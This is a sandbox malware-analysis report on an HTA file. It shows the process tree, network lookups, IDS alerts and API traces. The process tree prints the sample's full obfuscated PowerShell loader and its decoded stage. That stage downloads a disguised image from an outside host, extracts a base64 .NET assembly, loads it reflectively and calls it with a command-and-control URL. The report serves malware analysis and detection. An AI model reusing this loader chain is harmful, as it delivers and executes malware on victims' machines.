popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

droidddd.hta

Generic Malware Antivirus Hide_URL AntiDebug MSOffice File AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Sept. 10, 2023, 9:21 a.m. Sept. 10, 2023, 9:23 a.m.
Size 220.8KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 d1455362f7abf57b64ac83b42e8a354f
SHA256 d2a303ad5f7b89f64d244098b719f0a6cbdeac30adf20bac03c7ceb4b4dd025e
CRC32 8CBD9F1F
ssdeep 3072:w4zhHoMVGhlhi126OxiqNB+mBX4zhHoMVGhlhi126OxiqNB+mBX4zhHoMVGhlhiz:jTTbTt
Yara None matched

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\droidddd.hta.html

    204

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:204 CREDAT:145409

      2252

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

        1700

        • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/65.72.412.59//:ptth');$method.Invoke($null, $arguments)"

          832

Name Response Post-Analysis Lookup
apps.identrust.com
A 182.162.106.33
CNAME a1952.dscq.akamai.net
A 182.162.106.32
CNAME identrust.edgesuite.net
23.67.53.27
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
117.18.232.200 Active Moloch
164.124.101.2 Active Moloch
172.67.215.45 Active Moloch
182.162.106.32 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49174 -> 117.18.232.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49177 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49173 -> 117.18.232.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 117.18.232.200:443 -> 192.168.56.102:49175 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49177
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: False
console_handle: 0x000000000000039f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b94200
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3fd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3fd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3fd0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4040
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4040
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc42e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc42e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc42e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc42e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4510
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4510
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc4510
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002bc3d30
flags: 0
